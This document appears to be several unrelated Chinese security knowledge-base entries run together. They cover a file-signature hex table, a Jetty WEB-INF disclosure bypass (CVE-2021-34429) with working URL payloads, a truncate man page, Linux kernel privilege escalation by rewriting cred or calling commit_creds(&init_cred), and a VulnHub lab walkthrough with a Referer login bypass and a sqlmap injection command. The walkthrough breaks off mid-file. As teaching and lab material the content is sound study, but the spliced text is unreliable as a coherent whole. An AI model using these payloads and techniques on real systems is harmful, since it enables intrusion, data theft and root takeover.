AX 4D 5A - AX 4D 5A 90 00 03 00 00 00 - bag 41 4F 4C 20 46 65 65 64 62 61 67 - BAS 20 20 20 - bin 42 4C 49 32 32 33 51 - bmp 42 4D - BMP 42 4D 3E - bz; bz2 42 5A 68 - BZ2; TAR.BZ2; TBZ2; TB2 42 5A 68 - CAB 49 53 63 - CAB; HDR 49 53 63 28 - CAB 4D 53 43 46 - cat 30 - CBD 43 42 46 49 4C 45 - CCD 5B 43 6C - CDR 45 4C 49 54 45 20 43 6F 6D 6D 61 6E 64 65 72 20 - CDR, DVF 4D 53 5F 56 4F 49 43 45 - CHI; CHM 49 54 53 46 - CHM 49 54 53 - CLB 43 4D 58 31 - CLB 43 4F 4D 2B - cnt 3A 42 61 73 65 - COM, DLL, DRV, EXE, PIF, QTS, QTX, SYS 4D 5A - COM 4D 5A EE - COM E9 3B 03 - CPE 46 41 58 43 4F 56 45 52 2D 56 45 52 - CPL 4D 5A - CPT 43 50 54 37 46 49 4C 45 - CPT 43 50 54 46 49 4C 45 - CPX 5B 57 69 - cru; crush 43 52 55 53 48 - CRU 43 52 55 53 48 20 76 - CRW 49 49 1A 00 00 00 48 45 41 50 43 43 44 52 02 00 - CTF 43 61 74 61 6C 6F 67 20 33 2E 30 30 00 - CUR 00 00 02 00 01 00 20 20 - dat 1A 52 54 53 20 43 4F 4D 50 52 45 53 53 45 44 20 49 4D 41 47 45 20 56 31 2E 30 1A - dat 41 56 47 36 5F 49 6E 74 65 67 72 69 74 79 5F 44 61 74 61 62 61 73 65 - DAT 43 52 45 47 - DAT 43 6C 69 65 6E 74 20 55 72 6C 43 61 63 68 65 20 4D 4D 46 20 56 65 72 20 - DAT 45 52 46 53 53 41 56 45 44 41 54 41 46 49 4C 45 - DAT 49 6E 6E 6F 20 53 65 74 75 70 20 55 6E 69 6E 73 74 61 6C 6C 20 4C 6F 67 20 28 62 29 - db 00 06 15 61 00 00 00 02 00 00 04 D2 00 00 10 00 - DB 44 42 46 48 - dba 00 01 42 44 - dbx CF AD 12 FE - dbx CF AD 12 FE C5 FD 74 6F - dci 3C 21 64 6F 63 74 79 70 - dcx 3A DE 68 B1 - DDB 00 01 00 - dib 42 4D - DLL 4D 5A 90 - DMP 4D 44 4D 50 93 A7 - DMS 44 4D 53 21 - doc 0D 44 4F 43 - doc 12 34 56 78 90 FF - doc 31 BE 00 00 00 AB 00 00 - doc 7F FE 34 0A - dot; ppt; xla; ppa; pps; pot; msi; sdw; db D0 CF 11 E0 - doc; dot; xls; xlt; xla; ppt; apr ;ppa; pps; pot; msi; sdw; db D0 CF 11 E0 A1 B1 1A E1 - DPL 4D 5A 50 - DRV 4D 5A 16 - drw 01 FF 02 04 03 02 - ds4 4D 47 58 20 69 74 70 64 - DSN 4D 56 - dsp 23 20 4D 69 63 72 6F 73 6F 66 74 20 44 65 76 6 56C 6F 70 65 72 20 53 74 75 64 69 6F - dss 02 64 73 73 - dtd 07 64 74 32 64 64 74 64 - dtd 3C 21 45 4E 54 49 54 59 - DVR 44 56 44 - dwg 41 43 31 - Enn (where nn are numbers) 45 56 46 - ECO 2A 50 52 - elf 7F 45 4C 46 01 01 01 00 - emf 01 00 00 00 58 00 00 00 - eml 44 65 6C 69 76 65 72 79 2D 64 61 74 65 3A - EML 46 72 6F 6D 20 20 20 - EML 46 72 6F 6D 20 3F 3F 3F - EML 46 72 6F 6D 3A 20 - EML 52 65 63 - enc 00 5C 41 B1 FF - enl [32 byte offset] 40 40 40 20 00 00 40 40 40 40 - eps 25 21 50 53 - eps 25 21 50 53 2D 41 64 6F 62 65 - eps 25 21 50 53 2D 41 64 6F 62 65 2D 33 2E 30 20 45 50 53 46 2D 33 20 30 - EPS C5 D0 D3 - eth 1A 35 01 00 - evt 30 00 00 00 4C 66 4C 65 - evt 03 00 00 00 C4 66 C4 56 - EVTX 45 6C 66 46 69 6C 65 00 - exe; dll; drv; vxd; sys; ocx; vbx 4D 5A - exe; dll; drv; vxd; sys; ocx; vbx 4D 5A - exe; com; 386; ax; acm; sys; dll; drv; flt; fon; ocx; scr; lrc; vxd; cpl; x32 4D 5A - EXE, DLL, OCX, OLB, IMM, IME 4D 5A 90 - fli 00 11 AF - flt 00 01 01 - FLT 4D 5A 90 00 03 00 00 00 - FLV 46 4C 56 01 - fm 3C 4D 61 6B 65 72 46 69 6C 65 20 - fm3 00 00 1A 00 07 80 01 00 - fmt 20 00 68 00 20 0 - FNT 43 48 41 - FON 4D 5A - GBC 87 F5 3E - gid 3F 5F 03 00 - GID 4C 4E 02 00 - GIF 47 49 46 38 - gif 47 49 46 38 37 61 - gif 47 49 46 38 39 61 - GTD 7B 50 72 - GX2 47 58 32 - gz; tar; tgz 1F 8B - gz; tgz 1F 8B 08 - hap 91 33 48 46 - HDMP 4D 44 4D 50 93 A7 - hdr 23 3F 52 41 44 49 41 4E 43 45 0A - HLP 3F 5F 03 - hlp 3F 5F 03 00 - HLP 4C 4E 02 00 - hlp [7 byte offset] 00 00 FF FF FF FF - hqx 28 54 68 69 73 20 66 69 6C 65 - hqx 28 54 68 69 73 20 66 69 6C 65 20 6D 75 73 74 20 62 65 20 63 6F 6E 76 65 72 74 65 64 20 77 69 74 68 20 42 69 6E 48 65 78 20 - HTM 3C 21 44 - htm; html 3C 21 44 4F 43 54 - htm; html 3C 48 54 4D 4C 3E - htm; html 3C 68 74 6D 6C 3E - html 68 74 6D 6C 3E - ico 00 00 01 00 00 - ico 00 00 01 00 01 00 20 20 - IFF 46 4F 52 4D - IFO 44 56 44 - IME 4D 5A 90 - img 00 01 00 08 00 01 00 01 01 - IMG 00 FF FF - IMM 4D 5A 90 - ind 41 4F 4C 49 44 58 - ISO 43 44 30 30 31 - ivr 2E 52 45 43 - JAR 4A 41 52 43 53 00 - jar 5F 27 A8 89 - jpg; jpeg FF D8 FF - jpg; jpe; jpeg FF D8 FF E0 00 - jpg; jpe; jpeg FF D8 FF FE 00 - KGB 4B 47 42 5F 61 72 63 68 20 2D - KOZ 49 44 33 03 00 00 00 - LDB 42 49 4C - lha 2D 6C 68 35 2D - lha; lzh [2 byte offset] 2D 6C 68 - LHP 3F 5F 03 - lhp 3F 5F 03 00 - lib 21 3C 61 72 63 68 3E 0A - LIB 2A 24 20 - LIT 49 54 4F 4C 49 54 4C 53 - LNK 4C 00 00 - lnk 4C 00 00 00 - lnk 4C 00 00 00 01 14 02 - LNK 4C 00 00 00 01 14 02 00 - log 2A 2A 2A 20 20 49 6E 73 74 61 6C 6C 61 74 69 6F 6E 20 53 74 61 72 74 65 64 20 - lzh lh - lwp 57 6F 72 64 50 72 6F - m3u 23 45 58 - m4a 00 00 00 20 66 74 79 70 4D 34 41 20 00 00 00 00 - m4a; m4v 00 00 00 20 66 74 79 70 4D 34 41 20 00 00 00 00 - manifest 3C 3F 78 6D 6C 20 76 65 72 73 69 6F 6E 3D - MAR 4D 41 52 31 00 - MAR 4D 41 52 43 - MAR 4D 41 72 30 00 - max D0 CF 11 - mdb 00 01 00 00 53 74 61 6E 64 61 72 64 20 4A 65 74 20 44 42 - mdb; mda; mde; mdt 53 74 61 6E 64 61 72 64 20 4A - MDF 00 FF FF - mdf 00 FF FF FF FF FF FF FF FF FF FF 00 00 02 00 01 - mdf 01 0F 00 00 - MDI 45 50 - MDS 4D 45 44 - MID; MIDI 4D 54 68 64 - mkv 1A 45 DF A3 93 42 82 88 6D 61 74 72 6F 73 6B 61 - MLS 4D 49 4C 45 53 - MLS 4D 4C 53 57 - MLS 4D 56 32 31 34 - MLS 4D 56 32 43 - MMF 4D 4D 4D 44 00 00 - mny 00 01 00 00 4D 53 49 53 41 4D 20 44 61 74 61 62 61 73 65 - MOV 00 00 0F - MOV 00 00 77 - mov 6D 6F 6F 76 - mov 6D 64 61 74 - mp 0C ED - MP3 49 44 33 - MP3 FF FB 50 - mp4 00 00 00 18 66 74 79 70 33 67 70 35 - MPA 00 00 01 - mpg; mpeg 00 00 01 B3 - mpg 00 00 01 BA - MSC 3C 3F 78 - msc 3C 3F 78 6D 6C 20 76 65 72 73 69 6F 6E 3D 22 31 2E 30 22 3F 3E 0D 0A 3C 4D 4D 43 5F 43 6F 6E 73 6F 6C 65 46 69 6C 65 20 43 6F 6E 73 6F 6C 65 56 65 72 73 - 69 6F 6E 3D 22 - msi 23 20 - MSV 4D 53 5F 56 4F 49 43 45 - NES 4E 45 53 - NLS C2 20 20 - nri 0E 4E 65 72 6F 49 53 4F - ntf 1A 00 00 - nsf; ntf 1A 00 00 03 00 00 - nsf 1A 00 00 03 00 00 11 00 - nsf 1A 00 00 04 00 00 - ntf 30 31 4F 52 44 4E 41 4E 43 45 20 53 55 52 56 45 59 20 20 20 20 20 20 20 - obj 4C 01 - OCX 4D 5A - OCX 4D 5A 90 - OLB 4D 5A - OLB 4D 5A 90 - org; pfc 41 4F 4C 56 4D 31 30 30 - pak 1A 0B - PAT 47 46 31 50 41 54 43 48 - PAT 47 50 41 54 - PBK 5B 41 44 - PCB 17 A1 50 - PCS 0A 05 01 - pcx 0A nn 01 01 - pcx 0A 05 01 08 - pdb [11 byte offset] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - PDF 25 50 44 - pdf; fdf 25 50 44 46 - pdf 25 50 44 46 2D 31 2E - PDG 48 48 02 - pf 11 00 00 00 53 43 43 41 - pic 01 00 00 00 01 - PJT 00 00 07 - PLL 24 53 6F - PNG 89 50 4E 47 - png 89 50 4E 47 0D 0A 1A 0A - PPC 52 65 63 - PPT D0 CF 11 - ppt [512 byte offset] 00 6E 1E F0 - ppt [512 byte offset] 0F 00 E8 03 - PPZ 4D 53 43 46 - prc 42 4F 4F 4B 4D 4F 42 49 - PRG 23 44 45 - ps 25 21 50 53 2D 41 64 6F 62 65 - PSD 38 42 50 - psd 38 42 50 53 - psp 7E 42 4B 00 - pst 21 42 44 4E - pwl E3 82 85 96 - qbb 45 86 00 00 06 00 - qdf AC 9E BD 8F - qph 03 00 00 00 - qt 6D 64 61 74 - qxd 00 00 4D 4D 58 50 52 - ra 2E 52 4D 46 00 00 00 12 00 - ra; ram 2E 72 61 FD - ra 2E 72 61 FD 00 - RAR 52 61 72 - rar 52 61 72 21 - RAW 06 05 00 - reg 52 45 47 45 44 49 54 34 - rgb 01 DA 01 01 00 03 - RM 2E 52 4D - rm; rmvb 2E 52 4D 46 - rpm ED AB EE DB - RTD 43 23 2B 44 A4 43 4D A5 48 64 72 - RTF 7B 5C 72 - rtf 7B 5C 72 74 66 - sav 24 46 4C 32 40 28 23 29 20 53 50 53 53 20 44 41 54 41 20 46 49 4C 45 - SBV 46 45 44 46 - SCH 2A 76 65 - scm 80 53 43 - SH3 48 48 47 42 31 - SHD 4B 49 00 00 - sit 53 49 54 21 - sit 53 74 75 66 66 49 74 - sle 3A 56 45 52 53 49 4F 4E - sle 41 43 76 - sly; srt; slt 53 52 01 00 - SMD 00 FF FF - snm 00 1E 84 90 00 00 00 00 - SNP 4D 53 43 46 - sol 00 BF - spl 00 00 01 00 - SCR 4D 5A - SUB FF FF FF - SWF 43 57 53 - SWF 46 57 53 - syw 41 4D 59 4F - TAG 00 00 02 - tar; cpio 30 37 30 37 30 37 - tar.z 1F 9D 90 - tga 00 00 10 00 00 - TGA 00 00 02 - tga 00 00 02 00 00 - TIF; TIFF 49 20 49 - tif; tiff 49 49 2A - tif; tiff 49 49 2A 00 - TIF; TIFF 4D 4D 00 2A - tif; tiff 4D 4D 2A - TIF; TIFF 4D 4D 00 2B - TLB 4D 53 46 54 02 00 01 00 - tr1 01 10 - TST 00 01 00 - TTF 00 01 00 - ufa 55 46 41 - VBX 4D 5A - VCD 45 4E 54 52 59 56 43 44 02 00 00 01 02 00 18 58 - vcf 42 45 47 49 4E 3A 56 43 41 52 44 0D 0A - vob 00 00 01 BA - VXD, 386 4D 5A - WAV 52 49 46 - wav 57 41 56 45 - wav 57 41 56 45 66 6D 74 - wb2 00 00 02 00 - wb3 [24 byte offset] 3E 00 03 00 FE FF 09 00 06 - wk1; wks 20 00 60 40 60 - wk1 00 00 02 00 06 04 06 00 08 00 00 00 00 00 - wk3 00 00 1A 00 00 10 04 00 - wk4; wk5 00 00 1A 00 02 10 04 00 - wks 0E 57 4B 53 - WMA 30 26 B2 - wmf 01 00 09 00 - wmf 01 00 09 00 00 03 - wmf 02 00 09 00 - wmf D7 CD C6 9A - WMV 30 26 B2 - wp FF 57 50 43 - wpd FF 57 50 43 - wpg FF 57 50 47 - wri 31 BE - WRI 31 BE 00 - wri 32 BE - ws 1D 7D - XBE 58 42 45 - xdr 3C - xls 09 02 06 00 00 00 10 00 B9 04 5C 00 - xls 09 04 06 00 00 00 10 00 F6 05 5C 00 - XLS D0 CF 11 - xls D0 CF 11 E0 - xls [512 byte offset] 09 08 10 00 00 06 05 00 - XML 3C 3F 78 - xml 3C 3F 78 6D 6C - xml FF FE 3C 00 52 00 4F 00 4F 00 54 00 53 00 54 00 55 00 42 00 - XMV 00 50 01 - XSL FF FE 3C - xul 72 73 69 6F 6E 3D 22 31 3C 3F 78 6D 6C 20 76 65 2E 30 22 3F 3E - z 1F 9D - Z 1F 9D 8C - ZIP 50 4B 03 - zip; jar; zipx 50 4B 03 04 - zip 50 4B 30 30 - Zip 50 4B 30 30 50 4B 03 04 - zoo 5A 4F 4F 20 --- ## Source & Reference - [利用文件头标志判断文件类型](https://blog.mythsman.com/post/5d301940976abc05b345469f/) - [通过文件头标识判断图片格式](https://www.cnblogs.com/Wendy_Yu/archive/2011/12/27/2303118.html) - [常见的文件头和文件尾](https://vxhly.github.io/views/windows/file-header-and-tail.html)
sec-knowleage
# Jetty WEB-INF 敏感信息泄露漏洞(CVE-2021-34429) Eclipse Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。 Jetty在9.4.40后修复了因为`%2e`导致的敏感信息泄露漏洞[CVE-2021-28164](https://github.com/vulhub/vulhub/tree/master/jetty/CVE-2021-28164),但这个修复是不完全的,通过下面三种方式可以进行绕过: - unicode形式URL编码:`/%u002e/WEB-INF/web.xml` - `\0`组合`.`导致的绕过:`/.%00/WEB-INF/web.xml` - `\0`组合`..`导致的绕过:`/a/b/..%00/WEB-INF/web.xml` 影响版本:9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5 参考链接: - https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm - https://xz.aliyun.com/t/10039 ## 漏洞环境 执行如下命令启动一个Jetty 9.4.40: ``` docker compose up -d ``` 服务启动后,访问`http://your-ip:8080`可以查看到一个example页面。 ## 漏洞复现 直接访问`/WEB-INF/web.xml`将会返回404页面: ![](1.png) 使用`/%u002e/WEB-INF/web.xml`来绕过限制下载web.xml: ![](2.png)
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH TRUNCATE 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 truncate \- 缩减或扩展文件尺寸至指定大小 .SH 概述 \fBtruncate\fP \fI\,选项\/\fP... \fI\,文件列表\/\fP... .SH 描述 .\" Add any additional description here .PP 将文件缩减或扩展至指定大小 .PP 如果指定文件不存在则创建。 .PP 如果指定文件超出指定大小则超出的数据将丢失。如果指定文件小于指定大小则将用零字节填充扩展部分(空洞)。 .PP 必选参数对长短选项同时适用。 .TP \fB\-c\fP, \fB\-\-no\-create\fP 不要创建任何文件 .TP \fB\-o\fP, \fB\-\-io\-blocks\fP 将给定大小的数字作为 IO 块数处理,而非作为字节数处理 .TP \fB\-r\fP, \fB\-\-reference\fP=\fI\,参考文件\/\fP 以所指定的文件大小作为基准 .TP \fB\-s\fP, \fB\-\-size\fP=\fI\,尺寸值\/\fP 使用给定尺寸值设定或调整文件大小 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 所指定的尺寸值参数是一个整数,后面可以跟一个单位(例如:10K 指 10*1024)。可用的单位有 K、M、G、T、P、E、Z、Y(1024 的幂)以及 KB、MB、...(1000 的幂)。也可以使用二进制前缀:KiB=K、MiB=M,以此类推。 .PP 给定尺寸值也可以使用下面给出的字符之一前缀进行修饰:\&'+' 指扩展数值,'\-' 指缩减数值,'<' 值最大值,'>' 指最小值, \&'/' 修改大小为指定数值的倍数,向下舍入,'%' 修改大小为指定数值的倍数,向上舍入。 .SH 作者 由 Padraig Brady 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br 本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。 .SH 参见 \fBdd\fP(1), \fBtruncate\fP(2), \fBftruncate\fP(2) .PP .br 完整文档请见: <https://www.gnu.org/software/coreutils/truncate> .br 或者在本地使用: info \(aq(coreutils) truncate invocation\(aq
sec-knowleage
### PWN关于Change Self概述 内核会通过进程的 `task_struct` 结构体中的 cred 指针来索引 cred 结构体,然后根据 cred 的内容来判断一个进程拥有的权限,如果 cred 结构体成员中的 uid-fsgid 都为 0,那一般就会认为进程具有 root 权限。 ```c struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ ... } ``` 因此,思路就比较直观了,我们可以通过以下方式来提权 - 直接修改 cred 结构体的内容 - 修改 task_struct 结构体中的 cred 指针指向一个满足要求的 cred 无论是哪一种方法,一般都分为两步:定位,修改。这就好比把大象放到冰箱里一样。 ### Change Self基于直接改 cred方法的定位方式 我们可以首先获取到 cred 的具体地址,然后修改 cred。 #### 定位 定位 cred 的具体地址有很多种方法,这里根据是否直接定位分为以下两种 ##### 直接定位 cred 结构体的最前面记录了各种 id 信息,对于一个普通的进程而言,uid-fsgid 都是执行进程的用户的身份。因此我们可以通过扫描内存来定位 cred。 ```c struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ ... } ``` **在实际定位的过程中,我们可能会发现很多满足要求的 cred,这主要是因为 cred 结构体可能会被拷贝、释放。**一个很直观的想法是在定位的过程中,利用 usage 不为 0 来筛除掉一些 cred,但仍然会发现一些 usage 为 0 的 cred。这是因为 cred 从 usage 为 0, 到释放有一定的时间。此外,cred 是使用 rcu 延迟释放的。 ##### 间接定位 ###### task_struct 进程的 `task_struct` 结构体中会存放指向 cred 的指针,因此我们可以 1. 定位当前进程 `task_struct` 结构体的地址 2. 根据 cred 指针相对于 task_struct 结构体的偏移计算得出 `cred` 指针存储的地址 3. 获取 `cred` 具体的地址 ###### comm comm 用来标记可执行文件的名字,位于进程的 `task_struct` 结构体中。我们可以发现 comm 其实在 cred 的正下方,所以我们也可以先定位 comm ,然后定位 cred 的地址。 ```c /* Process credentials: */ /* Tracer's credentials at attach: */ const struct cred __rcu *ptracer_cred; /* Objective and real subjective task credentials (COW): */ const struct cred __rcu *real_cred; /* Effective (overridable) subjective task credentials (COW): */ const struct cred __rcu *cred; #ifdef CONFIG_KEYS /* Cached requested key. */ struct key *cached_requested_key; #endif /* * executable name, excluding path. * * - normally initialized setup_new_exec() * - access it with [gs]et_task_comm() * - lock it with task_lock() */ char comm[TASK_COMM_LEN]; ``` 然而,在进程名字并不特殊的情况下,内核中可能会有多个同样的字符串,这会影响搜索的正确性与效率。因此,我们可以使用 prctl 设置进程的 comm 为一个特殊的字符串,然后再开始定位 comm。 ### Change Self基于直接改 cred方法的修改方式 在这种方法下,我们可以直接将 cred 中的 uid-fsgid 都修改为 0。当然修改的方式有很多种,比如说 - 在我们具有任意地址读写后,可以直接修改 cred。 - 在我们可以 ROP 执行代码后,可以利用 ROP gadget 修改 cred。 ### Change Self基于修改 cred 指针的定位方式 在这种方式下,我们需要知道 cred 指针的具体地址。 #### 定位 ##### 直接定位 显然,cred 指针并没有什么非常特殊的地方,所以很难通过直接定位的方式定位到 cred 指针。 ##### 间接定位 ###### task_struct 进程的 `task_struct` 结构体中会存放指向 cred 的指针,因此我们可以 1. 定位当前进程 `task_struct` 结构体的地址 2. 根据 cred 指针相对于 task_struct 结构体的偏移计算得出 `cred` 指针存储的地址 ###### common comm 用来标记可执行文件的名字,位于进程的 `task_struct` 结构体中。我们可以发现 comm 其实在 cred 指针的正下方,所以我们也可以先定位 comm ,然后定位 cred 指针的地址。 ```c /* Process credentials: */ /* Tracer's credentials at attach: */ const struct cred __rcu *ptracer_cred; /* Objective and real subjective task credentials (COW): */ const struct cred __rcu *real_cred; /* Effective (overridable) subjective task credentials (COW): */ const struct cred __rcu *cred; #ifdef CONFIG_KEYS /* Cached requested key. */ struct key *cached_requested_key; #endif /* * executable name, excluding path. * * - normally initialized setup_new_exec() * - access it with [gs]et_task_comm() * - lock it with task_lock() */ char comm[TASK_COMM_LEN]; ``` 然而,在进程名字并不特殊的情况下,内核中可能会有多个同样的字符串,这会影响搜索的正确性与效率。因此,我们可以使用 prctl 设置进程的 comm 为一个特殊的字符串,然后再开始定位 comm。 ### Change Self基于修改 cred 指针的修改方式 在具体修改时,我们可以使用如下的两种方式 - 修改 cred 指针为内核镜像中已有的 init_cred 的地址。这种方法适合于我们能够直接修改 cred 指针以及知道 init_cred 地址的情况。 - 伪造一个 cred,然后修改 cred 指针指向该地址即可。这种方式比较麻烦,一般并不使用。 ### Change Self基于修改 cred 指针的的间接定位方式 #### commit_creds(&init_cred) `commit_creds()` 函数被用以将一个新的 cred 设为当前进程 task_struct 的 real_cred 与 cred 字段,因此若是我们能够劫持内核执行流调用该函数并传入一个具有 root 权限的 cred,则能直接完成对当前进程的提权工作: ```c int commit_creds(struct cred *new) { struct task_struct *task = current;//内核宏,用以从 percpu 段获取当前进程的 PCB const struct cred *old = task->real_cred; //... rcu_assign_pointer(task->real_cred, new); rcu_assign_pointer(task->cred, new); ``` 在内核初始化过程当中会以 root 权限启动 `init` 进程,其 cred 结构体为**静态定义**的 `init_cred`,由此不难想到的是我们可以通过 `commit_creds(&init_cred)` 来完成提权的工作 ```c /* * The initial credentials for the initial task */ struct cred init_cred = { .usage = ATOMIC_INIT(4), #ifdef CONFIG_DEBUG_CREDENTIALS .subscribers = ATOMIC_INIT(2), .magic = CRED_MAGIC, #endif .uid = GLOBAL_ROOT_UID, .gid = GLOBAL_ROOT_GID, .suid = GLOBAL_ROOT_UID, .sgid = GLOBAL_ROOT_GID, .euid = GLOBAL_ROOT_UID, .egid = GLOBAL_ROOT_GID, .fsuid = GLOBAL_ROOT_UID, .fsgid = GLOBAL_ROOT_GID, .securebits = SECUREBITS_DEFAULT, .cap_inheritable = CAP_EMPTY_SET, .cap_permitted = CAP_FULL_SET, .cap_effective = CAP_FULL_SET, .cap_bset = CAP_FULL_SET, .user = INIT_USER, .user_ns = &init_user_ns, .group_info = &init_groups, .ucounts = &init_ucounts, }; ```
sec-knowleage
# ACID: RELOADED > https://download.vulnhub.com/acid/Acid-Reloaded.7z 靶场IP:`192.168.32.206` 扫描对外端口服务 ``` ┌──(root💀kali)-[/tmp] └─# nmap -p 1-65535 -sV 192.168.32.206 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-06 01:40 EDT Nmap scan report for 192.168.32.206 Host is up (0.0013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Ubuntu 5ubuntu1.3 (Ubuntu Linux; protocol 2.0) 33447/tcp filtered unknown MAC Address: 00:0C:29:D0:CF:4C (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 5.23 seconds ``` 访问SSH端口,提示端口敲门,`3.2.1`顺序 ![image-20220906141103271](../../.gitbook/assets/image-20220906141103271.png) 重新扫描端口 ``` ┌──(root💀kali)-[/tmp] └─# nmap -p 1-65535 -sV 192.168.32.206 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-06 02:13 EDT Nmap scan report for 192.168.32.206 Host is up (0.0028s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Ubuntu 5ubuntu1.3 (Ubuntu Linux; protocol 2.0) 33447/tcp open http Apache httpd 2.4.10 ((Ubuntu)) MAC Address: 00:0C:29:D0:CF:4C (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.42 seconds ``` 访问33447端口 ![image-20220906141425676](../../.gitbook/assets/image-20220906141425676.png) 发现一个`/bin`目录 ![image-20220906141724559](../../.gitbook/assets/image-20220906141724559.png) ![image-20220906141741386](../../.gitbook/assets/image-20220906141741386.png) 爆破页面 ``` ┌──(root💀kali)-[/tmp] └─# gobuster dir -u http://192.168.32.206:33447/bin -x php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 2>/dev/null =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.32.206:33447/bin [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: php [+] Timeout: 10s =============================================================== 2022/09/06 02:20:02 Starting gobuster in directory enumeration mode =============================================================== /crack (Status: 301) [Size: 329] [--> http://192.168.32.206:33447/bin/crack/] /index.php (Status: 200) [Size: 1467] /css (Status: 301) [Size: 327] [--> http://192.168.32.206:33447/bin/css/] /includes (Status: 301) [Size: 332] [--> http://192.168.32.206:33447/bin/includes/] /js (Status: 301) [Size: 326] [--> http://192.168.32.206:33447/bin/js/] /styles (Status: 301) [Size: 330] [--> http://192.168.32.206:33447/bin/styles/] /error.php (Status: 200) [Size: 309] /dashboard.php (Status: 200) [Size: 675] ``` 访问`/dashboard.php ` ![image-20220906142139750](../../.gitbook/assets/image-20220906142139750.png) 研究数据包,发现会有一个认证页面 ![image-20220906142448862](../../.gitbook/assets/image-20220906142448862.png) 尝试添加referer来源,可以发现绕过登录 ![image-20220906142743673](../../.gitbook/assets/image-20220906142743673.png) ![image-20220906142758023](../../.gitbook/assets/image-20220906142758023.png) 发现一个路径:`/bin/l33t_haxor.php` ![image-20220906142938144](../../.gitbook/assets/image-20220906142938144.png) 输入`id`参数,显示内容 ![image-20220906143006544](../../.gitbook/assets/image-20220906143006544.png) 使用sqlmap,发现一个路径`UB3R/strcpy.exe` ``` ┌──(root💀kali)-[/tmp] └─# sqlmap -u "http://192.168.32.206:33447/bin/l33t_haxor.php?id=1" -D secure_login --tables --level 5 --risk 3 -p id --batch --tamper=space2comment,space2dash,space2hash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank ``` ![image-20220906143657430](../../.gitbook/assets/image-20220906143657430.png) 查看`strcpy.exe`文件,发现是PDF文档 ``` ┌──(root💀kali)-[~/Downloads] └─# file strcpy.exe strcpy.exe: PDF document, version 1.5 (password protected) ``` 修改格式,查看PDF,没有发现什么有用的东西。 ![image-20220906143832491](../../.gitbook/assets/image-20220906143832491.png) 查看文件内容,发现有多个文件合在一起,推测这是一个压缩包。 ``` strings strcpy.pdf ``` ``` ┌──(root💀kali)-[~/Downloads] └─# unrar e strcpy.rar UNRAR 6.12 freeware Copyright (c) 1993-2022 Alexander Roshal Extracting from strcpy.rar Extracting acid.txt OK Extracting lol.jpg OK All OK ``` 解压是一个文本和图片 ![image-20220906144333012](../../.gitbook/assets/image-20220906144333012.png) 查看`lol.jpg`,推测也是一个压缩包。 ![image-20220906144451381](../../.gitbook/assets/image-20220906144451381.png) ``` ┌──(root💀kali)-[~/Downloads] └─# mv lol.jpg lol.rar ┌──(root💀kali)-[~/Downloads] └─# unrar e lol.rar UNRAR 6.12 freeware Copyright (c) 1993-2022 Alexander Roshal Extracting from lol.rar Extracting Avinash.contact OK Extracting hint.txt OK All OK ┌──(root💀kali)-[~/Downloads] └─# cat Avinash.contact <?xml version="1.0" encoding="UTF-8"?> <c:contact c:Version="1" xmlns:c="http://schemas.microsoft.com/Contact" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:MSP2P="http://schemas.microsoft.com/Contact/Extended/MSP2P" xmlns:MSWABMAPI="http://schemas.microsoft.com/Contact/Extended/MSWABMAPI"> <c:CreationDate>2015-08-23T11:39:18Z</c:CreationDate><c:Extended><MSWABMAPI:PropTag0x3A58101F c:ContentType="binary/x-ms-wab-mapi" 